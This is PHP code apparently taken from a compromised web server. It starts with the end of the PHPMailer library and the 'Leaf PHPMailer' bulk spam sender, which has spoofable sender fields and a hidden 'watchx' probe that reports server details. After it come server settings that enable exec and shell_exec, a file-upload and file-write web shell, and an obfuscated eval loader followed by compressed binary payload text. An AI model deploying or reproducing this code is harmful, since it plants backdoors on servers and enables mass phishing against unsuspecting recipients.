            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base'.'64'.'_decod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$LGnr='e'.'xit';$dryb='st'.'r'.'_repla'.'ce';$cPfa='f'.'ile_'.'get'.'_c'.'onten'.'ts';$jsce='gzuncompr'.'ess';$LEhO='s'.'u'.'bstr';eval($jsce($dryb('jgncuvqxyp','>',$dryb('rimhcqbkjz','<',$LEhO($cPfa( __FILE__ ),-172197)))));$LGnr(0);
?>
xLǎ@]effN0`3Ŝ63ꙍ@U޽Jq??:?Gjgncuvqxypi{p+oΦ+Rqs߆uvoC6c{Og4cb]T4f~;@}ZӺ7crimhcqbkjzv&sO_ P 9F䚡\RnWrimhcqbkjzƈDXerimhcqbkjz{Ψ@C}YMH,5ꭽ{ux+S^|KvGR	?g?{ :͌l{-i7{vյ1j^·#MڌZ8H]
XEc骝P nI֝Q;2͆쓰z}`Wٿwrimhcqbkjz0K8
B{P}=*ln£T4:JS {O+%Y1kG`־(H2L2j6\eL0bÁʇ)Lk0X0pן_P	B^X*ך#.&ą_V-pS}3CS&}u/Dq ba9B?dLdE
k?_WW3h+SVe!
	J̖&[ʂd$:E؞0~ybV
0P\jgncuvqxypѮ9gDE{`Wpp8 q(/ 
9-d唨DE8C庶[JiȽm= @pڒ5%L,GPy߾orÈe9mӶ~y!ϥݭy8y/yPYM_ig\g}\ZRҹv?{)?D(,;Vm)(n80Ӗ佔. 鎥EB19xcmV8g(5eowBZbzfK{jom0^ߎD^ܡL1gh!Z/}2~s^KTjgncuvqxypLx.,B!05jgncuvqxypSz@.j|~X6(_[i_9!j
D)SdR#fpp+Li \[CTeveTLR6nGhl`
aJwULs^*͡n SQk[
)}bxdVR_sЦl]@5Ñ[aOED{uS8|!W)ӹꗜ'YWުbyD~ѯYk"Kۯ hþfl$\7oߣ][5hiCc*}SWdҊn@AmYr^|~yB\JT
+|9SeobĖJ`e,7Pvrimhcqbkjz6jrimhcqbkjz6?߯3ѼAV]~⚌aG
?͘싓؊8ݡ̣4ݝN	d W)"f:A
z)ڼp:BSݞY٭zp
{T/f޺n{g;	?;C;DDC5-`
YJC&γxdhMrimhcqbkjz ܥ2#tjgncuvqxyp3Q~}=AAuS(]p~fAS)a@mkУ=^T,z~,4=G2PJvr5TorǽYdW6ֹ7rimhcqbkjz
%u'Kczb'[(}r떜.nV[[0b
&5^5t{u01V^CyZWUm!+KֱcZƞ`냸w{
wHG\oGűe&99t1\k1:*0""lθnV~:r?NXq{Hj}H'_MS8.[qQtI'e
ƢU(Rȣv޲+`. U
h8e7xw7:㪯S	^t(F7=&7+Ba}r^aT~Bru1g.crimhcqbkjz\IڵOrᇳ!;ȚVzsބ+g&d3|^ݱYMJkLQM+7zqo+Yo/~;R%:W7rimhcqbkjz"QŖ"wM%ӛ+~A 3Qc}-gw*x$$ޔ)hg`nϵnVf㜾rimhcqbkjz3_rimhcqbkjzdGp;ӢhdK%C7rimhcqbkjz^Mjjgncuvqxyp2?;AtNxJCJm,zڒ^2$ȑs&e3+jџ7]!t-NүaAk};Zlfgxӳ-r+H*Ѹ jm-H(Bٽcw-V889D-΢r}Zq)]8/|~\(kjgncuvqxypt8p,V kV7zaHxSs#	֯|o};$wZe*Dlg$;}nMjJ֫
KU; Eu14+0HK݈w]XݖW܈:l܋&yfDqfLz.#kpĳN#!k;9_XYqY/X}B2Hkjgncuvqxyp(Qd\+Q(ԉ)Όz	`6pO62r)3VؑO	Y
!O"VL]R3
h =h(~ױ'=(uQ~
^MjgncuvqxypSդqyЫ5Yܔ@pjY-;;^Rwpjgncuvqxyp=Y
AZ8n(c
ԯH̗_]Ǿ#ng)T}&@]Jx尶cZX#¤^1kysjw¨
YX53dxq`L#~n.Yk&:L,@}AxEѮi{7|x?jgncuvqxyp2Ǯ$BX} xF" sxr)j߂%$u^C
lT=}5hIcFmֻd3jgncuvqxyp@T:J!E9A_]@ʍ[~~dެx4t!i"2$v~CSrimhcqbkjzDwE~}tIMxЮ"4oA}ؾrON~	vP
hq}!}ф-d_x;)XprimhcqbkjzIU֟q#s	 2)??
T:k酀@OaH\$|8Qq.ib='p	k9!-s)	"\Bkr^2?5vAε-BrjgncuvqxypGM=[tRM6]FRчi:WQFv0~9x)~!ʊ-N?,Kv7W*`#x795O[kVCp?56xisD#a.W!ݳ~6CKZYRҰKt̀phMe
;kKj#dg9/rf09f0rG=Fh'"&J;@vvz}@
?X( ooU"*]8Lu3okBlnŀb!&6!Q贅q33
@rimhcqbkjzErimhcqbkjz&G'dBrQJ9d̩S:I%e2(
|VB_S\VjS\B~* +
=P%jgncuvqxypvV,^A?;4s7 ƃMӡri{#c(iRe	#imB*?NQoN=D*\TMԌkf+ SSQs5|{4R`sJTrimhcqbkjz/S-"ix(0q]qlū|g0Hh.6n8 +
&ϧ
1QH{y:-Cf,Za3?a.3 8=T
5E!D͇-`?YQF\sРFjj%/R|
=#k:WA%PW)Xa6oNbՈGZ\x+53eːFkoxS-ȺlS'A|iߡIiZ:4u^JT݇ \|7
6چt+N
jJ),zaZAqW{#:!.Ew?|bIٛ_Q
k,6۫K-1Zb])a'dR,Ȟ~g̜tl
]R-I_JI6f(-"F+0~m[	U
 wTފ]V*ڒݍ֮2lO%PlA&UQ"EBkmN_:3rimhcqbkjz3K-	: mErimhcqbkjzz8kD0纾ؽ@AE=M%=Tp_HCFӻ 5BneҧW3Ȳ{Vjgncuvqxypb͊X1'`RsBNhHΰ k
!X"N+35qH.I ajgncuvqxyprimhcqbkjzȳʰRٳXH`y­kLLs 1Ż"ڬrO!eL0;k{ja
#?t-J}l'pe_ء6Y}6/vt8cP.mѝ3vq# R6]s%{MmlVR;rimhcqbkjz[O
u//.sg4E\Aqu.Vz|㳛ѳR)O|Fkğ5;γ,Xҿz4#	N5RxLy܎GᗍSɝ@6vbҸmu=b?.j&2XʹI:%gĦ|Sk3	ٍ9:h?F2?}=ZpگDHȐ_
&偱7t]PMSy
vS_30#ۏКRe\1`4i֏[alanikpiT(:Bjjgncuvqxyp"a5OV&tR{-?x0WAǹi46tmG|PtuΘCWqsb@\-
PCb8]ɽ!뮱(׋zPፔtzKwŋͳN
P
~ɷ(S?~DH0fhYp\8c&Rb+ OIy[,|mO$
7H!䊜9'g3rw,rimhcqbkjzry}^
agnwNЈao7_|_|oZD!$uتQh*KTxp;Pކrimhcqbkjzqd7:6~]VxVxz;ڠ";rND-?BA" ΧfL}	J42\Tm3߃g4EPtDEm9L+erl/
VM6U K6L,_HXv̾-
,.xk4lG)a1Kj}=A_-&"7-m?4M AIU1@2/\Birimhcqbkjz,B=GjrimhcqbkjzxR^t1'wRJg~9D7!5XM].H߽3xljgncuvqxypVzG@b #æ%y(SI*S[Zi~9jHx|b6jgncuvqxypnh^72a`G-jgncuvqxypT囍 \Pj+3c7%A-՘fdRZJc(v	Ixk17=ϢA׼Md|Km)/{|8W4H~۸tzϭ'*yMoCGjo`G+moLȎ+b9VU&;g~fez;|mo*$ѯ^PX$	"uAn
*rԔ{FՙZM]H q /GE-B%K+lLHszQyܱ2BAG?B:L"	(-xY/'5`l^R'qbxp?QKxo&qid[J[IW?RCoI8O:0X_{cgӢ@I
őӀ;o\l9'Pey_g$
hI0D~NB,(̖~{.m|ZVohpH?qڐ?1=NG!'c.7yw,o3;nut]#`ߍ&7hRZ[oQ(8_rimhcqbkjzV4{?sOU\tJx֜Y?iaBLN`"^*$jgncuvqxyp#`rimhcqbkjzwO?_8?@+sBcxWL
QUgӵ' W%¯7l',L?B[:1ӥ:l$_)74	-$"+#-毾f!nŪA{3QH0`8jR!*3֍d'2E?kC!b ~e%kN0w`!mwLvekȃb-
?^jgncuvqxypԧrimhcqbkjzE^97;5³Qr-la-Ē3Ii0/hrimhcqbkjzqL'P!rimhcqbkjz/w]֧!3rbA7Ԝ }|fл{ᘟZwSNe~;HbZx7J;%FYyPjgncuvqxypQ7rimhcqbkjzD#Ե
|=9b&
R*n:xjgncuvqxypk\_Ȯ,J%=uw20EvN&uP_6Y}+?
S44FY58=QoCFEĠG#驣O.)V/uqKŭh=MgE*y'ˠ;~edg54
4-OߖVnsJRd71PkBSX )󍠗mjgncuvqxyp3:zdn($akjgncuvqxyp`nq|X@PZi^e,WpاW^KNc0a⭺=V6	Oh^l vh	*fraPń0ϠS-BuWZgI^Q&
n
=QVjgncuvqxypEʳ%ވuPѶ~CÛqXC(ߠ5j?Ŋ&Fb#[QdF@석V-nxg	*54OjgncuvqxyprimhcqbkjzKf;!c;C'pAl H	օ{~x
OrimhcqbkjzC: Nc֜#W{X/%1K,r	puMp䳹wF1ճXnV|Km!qo;`E=:|U)	Zڹ6\@f9_νgzK_wGzVK}WCtr,M4{1oXtVm+OvT9ƆZΫ](I҄XLrimhcqbkjz A)ցj1PjHK&?Lz,~4F'|F'zi"!jgʚm̀(Y(`N Jh6G_E{V:Wj퉨q+!''sO)!
-珢D+/̟"CO|Ǵؐrimhcqbkjz,r*6ad@7be2qko~tMr/PNWǻn3SڞJ1bbR @~bh_jwr/qN2 QLIITiҊ9mab"h3\~V?.oƧrm*b/G.4./ 67v8lL@,[ۼ4f̄b}A}3!(u%]klg怱V9Tv_.ld;uGVqsR5y].H$nע=jQ:fC @vX-)VuΪf./MG#
V[qp'BmԄ-?q_@=^"ʄ`HG;)ꖰ3Ә:g`Y/=cftɕ
0
}[+Ix7Sd% ̐Gca.B;zia&}3vreW)2Ci}EdݑForimhcqbkjz*qnթ|_Q~Y|zY:Odkw#G
IKkK̵S٫sĴyZػ-w}1C\UƜS~:ֶP;BEqQN
O$Z1 _x-/QdjgncuvqxypPWۆ9N[:Khr32'|:f!9bVԋvyrimhcqbkjzrmɟ[Z?V7|ͦdܞ#YRPGGMa
\0/(Q1F=x wī\c&wѮU\}Ƨ8 :SAOT/*'@Fg98
@Pv{
q_}mj&rimhcqbkjzRrTP` [Ř܂sG}jgncuvqxyp浭;ʵG7 _
cjgncuvqxypfo~x τvt]0o̔-|6DF6V_NyTeNyĝ#.?Gr75g"jgncuvqxyp	݁+Ϲ;dR3"?L}h&rʋ%[(ӺdGahx{tz
,)ÏOlOs?_d/e2h',s M% tKi4Ɛ^0^hz(jGF=nT\Kw*ZuOi{Q:ٻYy0e_ysv%̬baq'yېeO*Lh&[,!;jp/ !Roo)y?p"Tΰ'w?ddƍ#n4FH&afQאtUHGDr9#ZKL;&kQlLgͥܩ~BwvgC^¨A`\6m-LVd*ivxk;v^"9{qPOį)ڎ׶o|jj֝!q%FIӗ}"i(ms]3L!5hjgncuvqxyp.nwsy+V%^f_x0ȶ:84,F% Ayw1y!ܜ"~簋14Rusȳq LYx2dc,IH1exz2^ld@!?OsMNǝ7_CM,Ll	;s;Ltrimhcqbkjzi1bPTjgncuvqxyp\H9#N|JzHC	]ݾXQ{~diׂ̢xNAPg8?T|[J *9t]uIkJʻ=zȠD37ȍ~qjgncuvqxypS}=n@h@MȐ#
Xjgncuvqxyp7N*K,Ea͟WAo
flr#V[C7=anE 9)?6ֲ;/@Sw͠	HV0$~m.Prn}JQR`GA|pK(aBaWjqԥU5#hڗ&JY.f
uEDrm(4-LmsWJrimhcqbkjzn	
V ;rimhcqbkjzۙ-}rimhcqbkjz5/U{A٪#ԦAf\#]gW[wy4]8gY#=
j
wrrimhcqbkjz|ǞvԸpdҧZr?|rimhcqbkjzG_
0G23CtR++|C!9e\.͜o:;/l`U.MuTP@QhV:]oIudG2:
XDA6p!I(QXqpm\XsF|87Ujgncuvqxyp'0 KϬIS
ۺQ۞pUixtC`^WHn*Ķ4=Nzr	*Ou`/jR$jgncuvqxypx u! L`l"7Gdg651HƃTeW1T1ޯf[`!Y#&UaZpd+g3VmԗpÌ%O:|[ VS_,P#Ch2jgncuvqxyp*^"#Tn`/7޽bCP/[SD:iHy$n^aY}n"υo̒0Mw$ئaT$mټ]5	kJyQXB?93jfLTs.s?Я[3)-hG TsljjM1NuWP;!|hY2TѲ.RV7p;BEWZ~eFhO~FVd%	DU~JXy_lbbݜ;KrʵuSպ7'REe-RvP{%L6 4_r$=rimhcqbkjznbZb7ZEĺC:?VU39,djgncuvqxyp+՟gIYF
WT4%\֜kbOE_/]j񔜽.&r(sjYzz rX_3$jgncuvqxyp}ݯAu`7~Nx+`  M翾Pۃy+q$
E:R5wOK=wF({`FMzr9ExőzBfYG8bYdMl*dȦrl*Rw  d*SvLl.`oiC}1@M[$+u;J!jgncuvqxyp~PIbᕺn-j:/)Sg?
\N?qTbb7JHCI)q響ѻjĆ0,B3
k(ǡ&5(̡\EK
xІ!Yy/@N0PO+2/(\ȜL8uC:3sT#2-yԖxE\ n8u\Kԛ9\PReYaXUuGHañ=\j4{\o^ӟRqq֛[]~h$c|KP~x2_&Eh0G1|!E*0tB -rFpjgncuvqxyp0Բt`'et,ۮt;nEok.T5M
w)Ӌ?GX/\Pk6;yHM\sE.3on86+N=,陉U_s\8v/Q2CÀ}"ϊ4orimhcqbkjzEO[wle,*lݬԏD6dr$aX"nDYu8x׫-8AURXj`5jVTh 8Ġf=j7ǤٝjgncuvqxypiUuqd~/?4y@. $hAUq6Z̀-6k[w.*:76DdvF!Z,-#KtB= XHߘ5s_4;ڥtՅl/Zs}h	PuO@X0툙rimhcqbkjz:xI#ρd	b#߂!-o[oju9o$V@6p4R!Sl 'N!KOܹI4kҷ5/r9pa`3b۠CiދI,"MsDץ	WFzU|Lre|SrimhcqbkjzɢBFWP=[]Oּ{Eu	'n.%e@u ɯ=i/Y]c`aϯr`oZ?B6$EV0lTj\`$݊;y
PtܣtHA~kPi5Dmv%J :ѡ"ִ_	Wb~uJ~\叡eIntx9vK,%5
u\(֬ڼR;R2=]:-]2xgVH?^h
/f9i6RRLjM8iF!5!mq;%G$ WfrimhcqbkjzE&z}s4'`4p%N	ϰW1
BsB7Qrimhcqbkjzg}C;^(|أFWFƄJ?;s LlA.7%b&}(k*G-V(
K![$oԙԎ.`7.YHR~T ۄ\=rimhcqbkjz]`IrimhcqbkjzLϢjgncuvqxypYnD)74Q 7܏K% CS#ALSP}\ bLe8st@Zwpq΅M.BZڝ{,X.r(4lʾ垢r
sBYȟrimhcqbkjz~n'GZtt[+TCűP9|njgncuvqxyp4{yjXJⰊ{n;Tr9'/N T&{rimhcqbkjz[~p"V9!%mc.HÝ.gW{˘uݑEѓV]5䄑2!zbܲՃ)G!C!-RK6m}OFT^6EzrimhcqbkjzޞߺV|	}$MFDy+Oy@$R(fېY)L~7KYz?teۼ3~+:T$m	ûjgncuvqxyp Lrimhcqbkjz8ec? '}z~gAT@E2~D'-޴i0w*]ttT\򨫂zo/ԙ%UqT7ć7b1{'$u$_}mGj8 5ls;CU'c	ɕҮϧS((_LsjrimhcqbkjzD(*eC6x7$nl,`jSE32ŵ(q$ NpnM*j)
